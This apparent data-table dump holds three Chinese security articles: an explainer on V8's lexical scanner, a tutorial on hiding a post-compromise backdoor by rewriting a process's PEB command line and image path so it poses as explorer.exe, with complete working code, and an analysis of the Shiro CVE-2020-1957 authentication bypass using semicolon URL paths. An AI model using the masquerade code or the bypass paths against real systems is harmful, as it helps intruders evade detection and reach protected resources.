text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 连载《Chrome V8 原理讲解》第三篇 看V8编译流程，学习词法分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 本篇内容
本次是第三篇，讲解V8中词法分析（scanner）的实现，这中间涉及到几个重要的数据结构和一些相关的编译知识，本文也尽量全面讲解相关的编译知识，争取让读者有一个全面的认识。
**注：本文不涉及V8的优化编译**
## 1.V8编译流程
总体来说，V8的编译过程是同步实现的，主体流程是扫描在初始化时先生成一个token字，并放入缓存（cache），然后开始分析（parser），从缓存中取一个token做分析，然后生成抽象语法树的一个节点，再取下一个token进行分析，如此循环。如果缓存未命中(cache
miss),便启动扫描去生成token，如图1所示。
下面看一下V8中的代码实现，Parser::ParseProgram方法，是图1中扫描器(scanner)的入口点。在这段代码中可以看到scanner_.Initialize()和FunctionLiteral*
result = DoParseProgram(isolate, info),这两个方法的作用是：
**1.初始化扫描器(scanner)** 生成第一个token字，scanner.c0_指向第一个开始的字符，也就是要扫描的第一个字符。
**2.DoParseProgram(isolate, info)：** 读取token字，生成AST的body，最终所有body汇聚成AST语法树。
void Parser::ParseProgram(Isolate* isolate, Handle<Script> script,
ParseInfo* info,
MaybeHandle<ScopeInfo> maybe_outer_scope_info) {
DCHECK_EQ(script->id(), flags().script_id());
// It's OK to use the Isolate & counters here, since this function is only
// called in the main thread.
DCHECK(parsing_on_main_thread_);
RCS_SCOPE(runtime_call_stats_, flags().is_eval()
? RuntimeCallCounterId::kParseEval
: RuntimeCallCounterId::kParseProgram);
TRACE_EVENT0(TRACE_DISABLED_BY_DEFAULT("v8.compile"), "V8.ParseProgram");
base::ElapsedTimer timer;
if (V8_UNLIKELY(FLAG_log_function_events)) timer.Start();
// Initialize parser state.
DeserializeScopeChain(isolate, info, maybe_outer_scope_info,
Scope::DeserializationMode::kIncludingVariables);
DCHECK_EQ(script->is_wrapped(), info->is_wrapped_as_function());
if (script->is_wrapped()) {
maybe_wrapped_arguments_ = handle(script->wrapped_arguments(), isolate);
}
scanner_.Initialize();
FunctionLiteral* result = DoParseProgram(isolate, info);
MaybeResetCharacterStream(info, result);
MaybeProcessSourceRanges(info, result, stack_limit_);
PostProcessParseResult(isolate, info, result);
HandleSourceURLComments(isolate, script);
if (V8_UNLIKELY(FLAG_log_function_events) && result != nullptr) {
double ms = timer.Elapsed().InMillisecondsF();
const char* event_name = "parse-eval";
int start = -1;
int end = -1;
if (!flags().is_eval()) {
event_name = "parse-script";
start = 0;
end = String::cast(script->source()).length();
}
LOG(isolate,
FunctionEvent(event_name, flags().script_id(), ms, start, end, "", 0));
}
}
上述这段代码（Parser::ParseProgram）是分析V8中编译代码的最近入口点，从此处进入跟踪，可以看到编译的全流程。这个方法的外层也有很多调用者（caller）,但这些调用者的任务仅仅是做准备工作，这个方法开始进入了真正的编译，尤其要注意，在scanner的初始化阶段（scanner_.Initialize）就已经开始做了第一次扫描。
## 2.V8词法分析(scanner)工作流程
编译器的第一个步骤称为词法分析（lexical
analysis）或扫描（scanning），在编译原理这门课程中，我的老师用“词法分析”这个名词，当我看编译器源码，面对工程实现时，看到是“扫描”这个名词，这两种叫法一个是注重原理，另一个是注重实现。词法分析器读入源程序的字符流，并且将他们组织成为有意义的词素（lexeme）的序列，再生成相应的词法单元(token)。
在V8中，源程序的字符流是UTF-16编码，存储字符流的数据结构如下：
// --------------------------------------------------------------------- // Buffered stream of UTF-16 code units, using an internal UTF-16 buffer.
// A code unit is a 16 bit value representing either a 16 bit code point
// or one part of a surrogate pair that make a single 21 bit code point.
class Utf16CharacterStream {
public:
static constexpr base::uc32 kEndOfInput = static_cast<base::uc32>(-1);
virtual ~Utf16CharacterStream() = default;
V8_INLINE void set_parser_error() {
buffer_cursor_ = buffer_end_;
has_parser_error_ = true;
}
V8_INLINE void reset_parser_error_flag() { has_parser_error_ = false; }
V8_INLINE bool has_parser_error() const { return has_parser_error_; }
inline base::uc32 Peek() {
if (V8_LIKELY(buffer_cursor_ < buffer_end_)) {
return static_cast<base::uc32>(*buffer_cursor_);
} else if (ReadBlockChecked()) {
return static_cast<base::uc32>(*buffer_cursor_);
} else {
return kEndOfInput;
}
}
// Returns and advances past the next UTF-16 code unit in the input
// stream. If there are no more code units it returns kEndOfInput.
inline base::uc32 Advance() {
base::uc32 result = Peek();
buffer_cursor_++;
return result;
}
//...............
//中间省略很多代码.....
//..............
// Read more data, and update buffer_*_ to point to it.
// Returns true if more data was available.
//
// ReadBlock() may modify any of the buffer_*_ members, but must sure that
// the result of pos() remains unaffected.
//
// Examples:
// - a stream could either fill a separate buffer. Then buffer_start_ and
// buffer_cursor_ would point to the beginning of the buffer, and
// buffer_pos would be the old pos().
// - a stream with existing buffer chunks would set buffer_start_ and
// buffer_end_ to cover the full chunk, and then buffer_cursor_ would
// point into the middle of the buffer, while buffer_pos_ would describe
// the start of the buffer.
virtual bool ReadBlock() = 0;
const uint16_t* buffer_start_;
const uint16_t* buffer_cursor_;
const uint16_t* buffer_end_;
size_t buffer_pos_;
RuntimeCallStats* runtime_call_stats_;
bool has_parser_error_ = false;
};
上述代码中，省略了很多中间代码，我保留最开始的英文注释和最后几个重要成员的英文注释，这几个重要的成员分别是buffer _start_ ，buffer
_cursor_ ，buffer _end_ ，它们的作用是用来记录源码流，详细见代码中的注释。下面通过一个示例来看下class
Utf16CharacterStream的应用场景。
图2中左侧是js源代码，右侧是源码被读进内存，准备编译，通过下面的代码移交给buffer _start_ 进行管理。
bool ReadBlock() final {
size_t position = pos();
buffer_pos_ = position;
buffer_start_ = &buffer_[0];
buffer_cursor_ = buffer_start_;
DisallowGarbageCollection no_gc;
Range<uint8_t> range =
byte_stream_.GetDataAt(position, runtime_call_stats(), &no_gc);
if (range.length() == 0) {
buffer_end_ = buffer_start_;
return false;
}
size_t length = std::min({kBufferSize, range.length()});
i::CopyChars(buffer_, range.start, length);
buffer_end_ = &buffer_[length];
return true;
}
代码的buffer _start_ = &buffer _[0]，这一句是用buffer_start_
指向待编译源码的第一个字符。图3给出的是Utf16CharacterStream类中重要的函数。这个函数是读取一个块代码(code
unit)，是后续生成token时的输入字符串。
前面提到的scanner.c0这个成员，始终是指向即将开始token生成的字符串，下面的代码也说明了c0的作用。
void Advance() {
if (capture_raw) {
AddRawLiteralChar(c0_);
}
c0_ = source_->Advance();//看这里
}
在scanner初始化的最后一步调用了下面这个方法，生成一个token。
void Scanner::Scan(TokenDesc* next_desc) {
DCHECK_EQ(next_desc, &next());
next_desc->token = ScanSingleToken();
DCHECK_IMPLIES(has_parser_error(), next_desc->token == Token::ILLEGAL);
next_desc->location.end_pos = source_pos();
#ifdef DEBUG
SanityCheckTokenDesc(current());
SanityCheckTokenDesc(next());
SanityCheckTokenDesc(next_next());
#endif
}
我们可以看到next_desc->token =
ScanSingleToken()这句代码就是在生成一个token，可以看到next_desc是描述token字的关键结构，他是在Scanner中定义的一个结构体，代码如下：
struct TokenDesc {
Location location = {0, 0};
LiteralBuffer literal_chars;
LiteralBuffer raw_literal_chars;
Token::Value token = Token::UNINITIALIZED;
MessageTemplate invalid_template_escape_message = MessageTemplate::kNone;
Location invalid_template_escape_location;
uint32_t smi_value_ = 0;
bool after_line_terminator = false;
#ifdef DEBUG
bool CanAccessLiteral() const {
return token == Token::PRIVATE_NAME || token == Token::ILLEGAL ||
token == Token::ESCAPED_KEYWORD || token == Token::UNINITIALIZED ||
token == Token::REGEXP_LITERAL ||
base::IsInRange(token, Token::NUMBER, Token::STRING) ||
Token::IsAnyIdentifier(token) || Token::IsKeyword(token) ||
base::IsInRange(token, Token::TEMPLATE_SPAN, Token::TEMPLATE_TAIL);
}
bool CanAccessRawLiteral() const {
return token == Token::ILLEGAL || token == Token::UNINITIALIZED ||
base::IsInRange(token, Token::TEMPLATE_SPAN, Token::TEMPLATE_TAIL);
}
#endif // DEBUG
};
到此，词法分析的初始化完了，后面由Parse驱动它进行工作，词法分析工作的入口点如下。
void Scanner::Scan(TokenDesc* next_desc) {
DCHECK_EQ(next_desc, &next());
next_desc->token = ScanSingleToken();
DCHECK_IMPLIES(has_parser_error(), next_desc->token == Token::ILLEGAL);
next_desc->location.end_pos = source_pos();
#ifdef DEBUG
SanityCheckTokenDesc(current());
SanityCheckTokenDesc(next());
SanityCheckTokenDesc(next_next());
#endif
}
## 3.V8词法分析的知识点
编译技术是一个庞大的知识领域，涉及很多方面的理论知识，一个编译器的具体实现主要包括：词法分析、语义分析、中间代码、机器无关代码，机器码等多个阶段，此外，还有各种优化技术，例如：控制流优化、数据流优化、寄存器优化等等，这些优化技术与这些阶段交错执行，最终生成目标程序。从编译技术的角度看，V8的编译的每段代码都有相对应的理论支撑，看懂了这些理论，再来看V8编译源码，会很容易的。我们来看一下V8词法分析的知识点。
词法分析是编译的第一个阶段。词法分析器的主要任务是读入源程序的输入字符、将它他们组成词素（lexeme），生成并输出一个词法单元（token），每个词法单元对应一个词素，这个词法单元被输出到语法分析器进行语法分析。当词法分析器发现一个标识符时，还会利用符号表进行保存。词法分析的工作流程、与符号表的交互过程都是由语法分析器驱动，如图4。
图4中，getNextToken是驱动词法分析器工作,向其索取token的命令,直到它识别出下一个词素为止，然后将生成的token返回给语法分析器。看一下V8的这个过程的实现方法。
void ParserBase<Impl>::ParseStatementList(StatementListT* body,
Token::Value end_token) {
// StatementList ::
// (StatementListItem)* <end_token>
DCHECK_NOT_NULL(body);
while (peek() == Token::STRING) {
bool use_strict = false;
#if V8_ENABLE_WEBASSEMBLY
bool use_asm = false;
#endif // V8_ENABLE_WEBASSEMBLY
Scanner::Location token_loc = scanner()->peek_location();
if (scanner()->NextLiteralExactlyEquals("use strict")) {
use_strict = true;
#if V8_ENABLE_WEBASSEMBLY
} else if (scanner()->NextLiteralExactlyEquals("use asm")) {
use_asm = true;
#endif // V8_ENABLE_WEBASSEMBLY
}
StatementT stat = ParseStatementListItem();
//.......................
//省略很多....
//.......................
}
while (peek() != end_token) {
StatementT stat = ParseStatementListItem();
if (impl()->IsNull(stat)) return;
if (stat->IsEmptyStatement()) continue;
body->Add(stat);
}
}
这段代码很长，而且我们在调式过程中，由于选取的调试用例不同，不一定能覆盖到每一条语句。我们只看最后的一部分,我的调试代码触发了最后这个while()的执行，其中最重要是
ParseStatementListItem()，图5给出了Parse驱动SCanner的调用堆栈，堆栈中的函数调用流程，也就是图4中的getNextToken的具体实现。
在图5中还能看到前面(图1)提到的缓存(cache)，它在v8中的实现是Consum方法。下面给出V8中Token生成的详细实现。
V8_INLINE Token::Value Scanner::ScanSingleToken() {
Token::Value token;
do {
next().location.beg_pos = source_pos();
if (V8_LIKELY(static_cast<unsigned>(c0_) <= kMaxAscii)) {
token = one_char_tokens[c0_];
switch (token) {
//..............
//代码太长，省略很多
//..............
case Token::CONDITIONAL:
// ? ?. ?? ??=
Advance();
if (c0_ == '.') {
Advance();
if (!IsDecimalDigit(c0_)) return Token::QUESTION_PERIOD;
PushBack('.');
} else if (c0_ == '?') {
return Select('=', Token::ASSIGN_NULLISH, Token::NULLISH);
}
return Token::CONDITIONAL;
case Token::STRING:
return ScanString();
case Token::LT:
// < <= << <<= <!-- Advance();
if (c0_ == '=') return Select(Token::LTE);
if (c0_ == '<') return Select('=', Token::ASSIGN_SHL, Token::SHL);
if (c0_ == '!') {
token = ScanHtmlComment();
continue;
}
return Token::LT;
case Token::ASSIGN:
// = == === =>
Advance();
if (c0_ == '=') return Select('=', Token::EQ_STRICT, Token::EQ);
if (c0_ == '>') return Select(Token::ARROW);
return Token::ASSIGN;
case Token::NOT:
// ! != !==
Advance();
if (c0_ == '=') return Select('=', Token::NE_STRICT, Token::NE);
return Token::NOT;
case Token::ADD:
// + ++ +=
Advance();
if (c0_ == '+') return Select(Token::INC);
if (c0_ == '=') return Select(Token::ASSIGN_ADD);
return Token::ADD;
//..............
//代码太长，省略很多
//..............
default:
UNREACHABLE();
}
}
if (IsIdentifierStart(c0_) ||
(CombineSurrogatePair() && IsIdentifierStart(c0_))) {
return ScanIdentifierOrKeyword();
}
if (c0_ == kEndOfInput) {
return source_->has_parser_error() ? Token::ILLEGAL : Token::EOS;
}
token = SkipWhiteSpace();
// Continue scanning for tokens as long as we're just skipping whitespace.
} while (token == Token::WHITESPACE);
return token;
}
从代码中可以看出，生成token的过程就是这个switch
case，它是一个自动机，token生成的过程也大量用到了正则表达。总结一句：token的生成过程就是字符匹配的过程，在V8中预先定义了token模板（TOKEN_LIST），再利用switch
case完成字符匹配，生成token。
好了，今天到这里，下次见。
**微信：qq9123013 备注：v8交流学习
邮箱：[[email protected]](mailto:[email protected])** | 社区文章 |
# 前言
当我们获取到一台主机的权限过后，拿到了自己想要搜集的信息，这时候我们就会留一个后门进行权限维持，权限维持的学问其实很深，今天就主要介绍其中一种比较简单的权限维持的方法
-- 进程伪装。
我们知道在windows里面有很多系统进程，如`winlogon.exe`、`explorer.exe`、`services.exe`等等，这些exe都是Windows必须具有的exe，当缺失某些exe的时候，windows就不能够正常运行，所以我们如果想到实现进程伪装，最好的选择就是伪装成系统必备的exe，当我们进行进程伪装之后，在系统中显示的就会是系统进程的信息，但这个程序还是能够执行它正常的功能，这样就达到了进程伪装、权限维持的作用。
# 思路
我们判断一个进程是否被劫持，一般是看他的进程名以及path，即启动路径来判断，那么反推即可得到，我们可以通过修改进程模块中的进程路径以及进程名来实现进程伪装的作用
比如我们这里再看看explorer的进程名和启动路径
那么这里我们改人如何获取进程的这些信息呢，这里可以使用到`ntdll.dll`里面的`NtQueryInformationProcess`来获取进程的PEB地址，这里稍微提一个概念，什么是PEB？
PEB，即Process Envirorment Block Structure，英文翻译过来就是进程环境信息块，这里包含了写进程的信息。它的完整结构如下：
typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged; //被调试状态
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
BYTE Reserved4[104];
PVOID Reserved5[52];
PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
BYTE Reserved6[128];
PVOID Reserved7[1];
ULONG SessionId;
} PEB, *PPEB;
这里就不深究每个属性的含义了，这里拿到PEB结构之后我们就能够对进程的一些属性进行修改就能够实现进程伪装的效果，但是这里并不能够通过指针来直接速写内存数据，因为每个程序都有自己独立的空间，所以这里就需要用到`ReadProcessMemory`和`WriteProcessMemory`来读写进程
BOOL ReadProcessMemory(
[in] HANDLE hProcess,
[in] LPCVOID lpBaseAddress,
[out] LPVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesRead
);
BOOL WriteProcessMemory(
[in] HANDLE hProcess,
[in] LPVOID lpBaseAddress,
[in] LPCVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesWritten
);
# 实现过程
首先使用OpenProcess打开进程句柄
HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
然后从`ntdll.dll`中获取`NtQueryInformationProcess`的导出地址，因为这个函数没有关联导入库，所以只能动态获取地址
NtQueryInformationProcess = (typedef_NtQueryInformationProcess)::GetProcAddress(::LoadLibrary("ntdll.dll"), "NtQueryInformationProcess");
我们获取到到处地址过后需要注意一下`NtQueryInformationProcess`结构里面的`PROCESS_BASIC_INFORMATION`这个值，首先看下结构
__kernel_entry NTSTATUS NtQueryInformationProcess(
[in] HANDLE ProcessHandle,
[in] PROCESSINFOCLASS ProcessInformationClass,
[out] PVOID ProcessInformation,
[in] ULONG ProcessInformationLength,
[out, optional] PULONG ReturnLength
);
其中第三个值`PROCESS_BASIC_INFORMATION` 指向调用应用程序提供的缓冲区的指针，函数将请求的信息写入该缓冲区。写入的信息大小取决于
_ProcessInformationClass_ 参数的数据类型
当 _ProcessInformationClass_ 参数是 **ProcessBasicInformation** ，缓冲器指向的
_PROCESSINFORMATION_ 参数应该足够大，以保持单个 **PROCESS_BASIC_INFORMATION** 具有下述布局结构：
typedef struct _PROCESS_BASIC_INFORMATION {
PVOID Reserved1;
PPEB PebBaseAddress;
PVOID Reserved2[2];
ULONG_PTR UniqueProcessId;
PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;
那么我们如何定位到PEB结构呢？
FS段寄存器指向当前的TEB结构，在TEB偏移0x30处是PEB指针，通过这个指针即可取得PEB的地址，可以通过汇编实现
__asm
{
mov eax,fs:[0x30]
mov PEB,eax
}
这里我们要修改两个参数，一个是命令行参数，一个是path参数，这里用winDBG跟一下PEB的结构
首先是在0x20偏移的地方，有一个叫ProcessParameters的属性值，其结构体为_RTL_USER_PROCESS_PARAMETERS，继续往里面跟
在0x60偏移的地方，ImagePathName即为可执行文件的路径，结构体为_UNICODE_STRING，它的0x08偏移指向了一个Buffer，Buffer的内容为可执行文件路径的字符串。同理，0x70偏移则指向了
CommandLine为命令行参数
那么我们首先获取结构中的`PebBaseAddress`和`ProcessPamameters`
::ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
::ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);
修改命令行信息的话就是修改结构中的`Buffer`和`Length`字段，在`CommandLine`这个结构里面
CmdLen = 2 + 2 * ::wcslen(lpwszCmd);
::WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, CmdLen, NULL);
::WriteProcessMemory(hProcess, &Param.CommandLine.Length, &CmdLen, sizeof(CmdLen), NULL);
同理修改路径信息的话也是修改`Buffer`跟`Length`字段，这里的结构就是`ImagePathName`
PathLen = 2 + 2 * ::wcslen(lpwszPath);
::WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, PathLen, NULL);
::WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &PathLen, sizeof(PathLen), NULL);
那么到这里我们就已经修改了命令行跟路径的字段，完整代码如下
BOOL DisguiseProcess(DWORD dwProcessId, wchar_t* lpwszPath, wchar_t* lpwszCmd)
{
// 打开进程获取句柄
HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (NULL == hProcess)
{
printf("[!] OpenProcess failed,error is : %d", GetLastError());
return FALSE;
}
typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL;
PROCESS_BASIC_INFORMATION pbi = { 0 };
PEB peb = { 0 };
RTL_USER_PROCESS_PARAMETERS Param = { 0 };
USHORT CmdLen = 0;
USHORT PathLen = 0;
// 需要通过 LoadLibrary、GetProcessAddress 从 ntdll.dll 中获取地址
NtQueryInformationProcess = (typedef_NtQueryInformationProcess)::GetProcAddress(
::LoadLibrary("ntdll.dll"), "NtQueryInformationProcess");
if (NULL == NtQueryInformationProcess)
{
printf("[!] NtQueryInformationProcess failed,error is : %d\n\n", GetLastError());
return FALSE;
}
// 获取指定进程的基本信息
NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
if (!NT_SUCCESS(status))
{
printf("[!] GetProcess information failed,error is : %d\n\n", GetLastError());
return FALSE;
}
// 获取PebBaseAddress
::ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
// 获取ProcessParameters
::ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);
// 修改命令行信息,即CommandLine结构里面的Buffer和Length字段
CmdLen = 2 + 2 * ::wcslen(lpwszCmd);
::WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, CmdLen, NULL);
::WriteProcessMemory(hProcess, &Param.CommandLine.Length, &CmdLen, sizeof(CmdLen), NULL);
// 修改路径信息,即ImagePathName结构里面的Buffer和Length字段
PathLen = 2 + 2 * ::wcslen(lpwszPath);
::WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, PathLen, NULL);
::WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &PathLen, sizeof(PathLen), NULL);
return TRUE;
}
这里也可以使用asm指向PEB结构进行数据的修改，其实跟上面的思路一样，也是指向`Buffer`跟`Length`字段进行修改，但是这里定位到PEB结构是使用指针的方式，实现的效果是相同的
BOOL DisguiseProcess(wchar_t *lpwszPath, wchar_t *lpwszCmd)
{
// 打开进程获取句柄
HANDLE hProcess = GetModuleHandle(NULL);
PPEB peb = { 0 };
USHORT usCmdLen = 0;
USHORT usPathLen = 0;
__asm
{
mov eax,fs:[30h]
mov peb,eax
}
usCmdLen = 2 + 2 * wcslen(lpwszCmd);
(*peb).ProcessParameters->CommandLine.Buffer = lpwszCmd;
(*peb).ProcessParameters->CommandLine.Length = usCmdLen;
usPathLen = 2 + 2 * wcslen(lpwszPath);
(*peb).ProcessParameters->ImagePathName.Buffer = lpwszPath;
(*peb).ProcessParameters->ImagePathName.Length = usPathLen;
return TRUE;
}
# 实现效果
这里演示下第一个代码实现效果，选择的是有道云进行进程伪装成explorer，首先看一下explorer的详细信息
运行一下程序，已经看到修改成功
再去看一下有道云这边，可以看到已经实现了进程伪装
欢迎关注公众号 **红队蓝军** | 社区文章 |
# Shiro权限绕过漏洞分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
前段时间遇到通过分号绕过nginx层屏蔽并顺利访问到Springboot项目actuator端点的问题，修复过程中偶然发现当项目使用shiro组件时，若将shiro升级到1.6.0可间接修复分号绕过的问题，当请求url中包含分号时响应状态码为400；
考虑到shiro主要用来执行身份验证授权等，理论上不适合直接阻断存在分号的请求；
为搞明白此问题，决定对shiro的权限校验问题进行整理学习，下面为常见的shiro权限绕过漏洞分析修复过程。
## Shiro Filter
学习shiro权限绕过漏洞之前，有必要了解下shiro filter的过滤过程；
一个http请求过来，首先经过web容器的处理（这里默认为tomcat）被投放到相应的web应用，web应用会通过过滤器Filter链式的对http请求进行预处理，这里将会经过shiro的Filter（SpringShiroFilter）处理：
org.apache.catalina.core.ApplicationFilterChain#internalDoFilter --> org.apache.shiro.web.servlet.OncePerRequestFilter#doFilter -->
org.apache.shiro.web.servlet.AbstractShiroFilter#doFilterInternal -->
org.apache.shiro.web.servlet.AbstractShiroFilter#executeChain
shiro的Filter执行过会通过getExecutionChain()获取执行链并执行对应的doFilter函数：
重点在获取chain的org.apache.shiro.web.servlet.AbstractShiroFilter#getExecutionChain中；
首先会尝试获取到在springboot启动时加载的shiro配置文件中配置的Shiro
filterChains（resolver）并判断是否为null，当为null则返回原始过滤器链origChain，当不为空时则尝试通过org.apache.shiro.web.filter.mgt.FilterChainResolver#getChain方法根据当前请求的url使用Ant模式获取相应的拦截器链
FilterChain代理（resolved），否则返回原始过滤器链origChain：
protected FilterChain getExecutionChain(ServletRequest request, ServletResponse response, FilterChain origChain) {
FilterChain chain = origChain;
FilterChainResolver resolver = getFilterChainResolver();
if (resolver == null) {
log.debug("No FilterChainResolver configured. Returning original FilterChain.");
return origChain;
}
FilterChain resolved = resolver.getChain(request, response, origChain);
if (resolved != null) {
log.trace("Resolved a configured FilterChain for the current request.");
chain = resolved;
} else {
log.trace("No FilterChain configured for the current request. Using the default.");
}
return chain;
}
其中获取shiro对应的FilterChain代理是在org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain中完成，主要通过获取所有的filter链（filterChainManager）及requestURI，并循环遍历filterChainManager进行匹配，当匹配时则直接返回相对应的FilterChain代理，否则返回null：
附上filterChainManager接口说明：
public interface FilterChainManager {
// 得到注册的拦截器
Map<String, Filter> getFilters();
// 获取拦截器链
NamedFilterList getChain(String chainName);
// 是否有拦截器链
boolean hasChains();
// 得到所有拦截器链的名字
Set<String> getChainNames();
// 使用指定的拦截器链代理原始拦截器链
FilterChain proxy(FilterChain original, String chainName);
// 注册拦截器
void addFilter(String name, Filter filter);
// 注册拦截器
void addFilter(String name, Filter filter, boolean init);
// 根据拦截器链定义创建拦截器链
void createChain(String chainName, String chainDefinition);
// 添加拦截器到指定的拦截器链
void addToChain(String chainName, String filterName);
// 添加拦截器（带有配置的）到指定的拦截器链
void addToChain(String chainName, String filterName, String chainSpecificFilterConfig) throws ConfigurationException;
}
最终链式执行过滤器：
org.apache.catalina.core.ApplicationFilterChain#doFilter --> org.apache.catalina.core.ApplicationFilterChain#internalDoFilter
执行完过滤器后将调用servlet.service，进而执行controller解析及service等：
javax.servlet.http.HttpServlet#service(javax.servlet.ServletRequest,
javax.servlet.ServletResponse)：
接下来的SpringMVC controller解析部分详情可参见下面CVE-2020-1957漏洞分析部分。
## 漏洞环境
可参考：
<https://github.com/apache/shiro/releases>
或
<https://github.com/ttestoo/java-sec-study/tree/main/sec-shiro/java-shiro-bypass>
## shiro权限绕过 CVE-2020-1957
### 利用条件
Apache Shiro < 1.5.2
### 利用过程
1、正常情况下访问/hello/a会进行跳转：<http://127.0.0.1:9091/hello/a>
2、可通过分号进行绕过：
<http://127.0.0.1:9091/;/hello/a>
<http://127.0.0.1:9091/aa/..;test=123/admin/index>
…
### 漏洞分析
shiro
filter主要过程上述部分已简单介绍，其中根据分号绕过可初步判断问题可能出现在获取requestURI处，毕竟是拿requestURI和shiro配置的FilterChain进行匹配的，也就是说通过分号使得shiro
filter过程的requestURI能绕过shiro的Ant格式的规则匹配；
可以直接在org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain中的String
requestURI = getPathWithinApplication(request); 处下断点进行调试：
注意这里测试过程中URL为：<http://127.0.0.1:9091/aa/..;test=123/admin/index>
跟进getPathWithinApplication函数，将通过WebUtils.getPathWithinApplication —>
WebUtils.getRequestUri 获取requestURI：
最终还是通过request.getRequestURI获取请求中的URI，即：/aa/..;test=123/admin/index
获取到请求中的URI后，将通过org.apache.shiro.web.util.WebUtils#normalize进行标准化处理，其中参数调用了decodeAndCleanUriString函数处理，在decodeAndCleanUriString中可以清晰的看到根据
; 对uri进行了分割，并获取到 ; 之前的部分，即/aa/..
且在normalize函数中，主要标准化处理内容如下：
* \ —> /
* // —> /
* /./ —> /
* /../ —> /
private static String normalize(String path, boolean replaceBackSlash) {
if (path == null)
return null;
// Create a place for the normalized path
String normalized = path;
if (replaceBackSlash && normalized.indexOf('\\') >= 0)
normalized = normalized.replace('\\', '/');
if (normalized.equals("/."))
return "/";
// Add a leading "/" if necessary
if (!normalized.startsWith("/"))
normalized = "/" + normalized;
// Resolve occurrences of "//" in the normalized path
while (true) {
int index = normalized.indexOf("//");
if (index < 0)
break;
normalized = normalized.substring(0, index) +
normalized.substring(index + 1);
}
// Resolve occurrences of "/./" in the normalized path
while (true) {
int index = normalized.indexOf("/./");
if (index < 0)
break;
normalized = normalized.substring(0, index) +
normalized.substring(index + 2);
}
// Resolve occurrences of "/../" in the normalized path
while (true) {
int index = normalized.indexOf("/../");
if (index < 0)
break;
if (index == 0)
return (null); // Trying to go outside our context
int index2 = normalized.lastIndexOf('/', index - 1);
normalized = normalized.substring(0, index2) +
normalized.substring(index + 3);
}
// Return the normalized path that we have completed
return (normalized);
}
由于此时传入的为经过decodeAndCleanUriString处理后的值（/aa/..），所以这里经过normalize处理后结果不变：
也就是说此时通过WebUtils.getRequestUri获取到的requestUri的值为/aa/..
且getPathWithinApplication后的值也为/aa/..
接下来将对requestURI和在shiro配置文件中配置的过滤规则filterChains进行匹配，则/aa/..不会和任何规则匹配成功，返回null：
至此，我们通过在请求url中添加 ; 成功绕过了shiro的filter过滤匹配，并成功进入SpringMVC
controller解析过程，其中入口为SpringMVC的DispatcherServlet.doService()：
org.apache.catalina.core.ApplicationFilterChain#internalDoFilter --> javax.servlet.Servlet#service --> javax.servlet.http.HttpServlet#service --> javax.servlet.http.HttpServlet#doGet --> org.springframework.web.servlet.FrameworkServlet#processRequest -->
org.springframework.web.servlet.DispatcherServlet#doService -->
在DispatcherServlet.doService中将调用核心的doDispatch方法进行下一步处理：
其中doDispatch主要处理逻辑如下：
1. checkMultipart 检查是不是文件上传请求，如果是，则对当前 request 重新进行包装，如果不是，则直接将参数返回；
2. 根据当前请求，调用 getHandler 方法获取请求处理器，如果没找到对应的请求处理器，则调用 noHandlerFound 方法抛出异常或者给出 404；
3. getHandlerAdapter 方法，根据当前的处理器找到处理器适配器；
4. 然后处理 GET 和 HEAD 请求头的 Last_Modified 字段。当浏览器第一次发起 GET 或者 HEAD 请求时，请求的响应头中包含一个 Last-Modified 字段，这个字段表示该资源最后一次修改时间，以后浏览器再次发送 GET、HEAD 请求时，都会携带上该字段，服务端收到该字段之后，和资源的最后一次修改时间进行对比，如果资源还没有过期，则直接返回 304 告诉浏览器之前的资源还是可以继续用的，如果资源已经过期，则服务端会返回新的资源以及新的 Last-Modified；
5. 接下来调用拦截器的 preHandle 方法，如果该方法返回 false，则直接 return 掉当前请求；
6. 接下来执行 ha.handle 去调用真正的请求，获取到返回结果 mv；
7. 接下来判断当前请求是否需要异步处理，如果需要，则直接 return 掉；如果不需要异步处理，则执行 applyDefaultViewName 方法，检查当前 mv 是否没有视图，如果没有（例如方法返回值为 void），则给一个默认的视图名；
8. processDispatchResult 方法对执行结果进行处理，包括异常处理、渲染页面以及执行拦截器的 afterCompletion 方法都在这里完成；
9. 最后在 finally 代码块中判断是否开启了异步处理，如果开启了，则调用相应的拦截器；如果请求是文件上传请求，则再调用 cleanupMultipart 方法清除文件上传过程产生的一些临时文件。
其中我们关心的是获取请求处理器的过程，即getHandler方法实现细节：
首先Spring会循环所有注册的HandlerMapping并返回第一个匹配的HandlerExecutionChain：
对于mapping为RequestMappingHandlerMapping时，则会调用org.springframework.web.servlet.handler.AbstractHandlerMapping#getHandler进行获取对应的handler，
在getHandler中调用getHandlerInternal方法，并在其中进行调用getLookupPathForRequest—>getPathWithinServletMapping解析请求路径lookupPath：
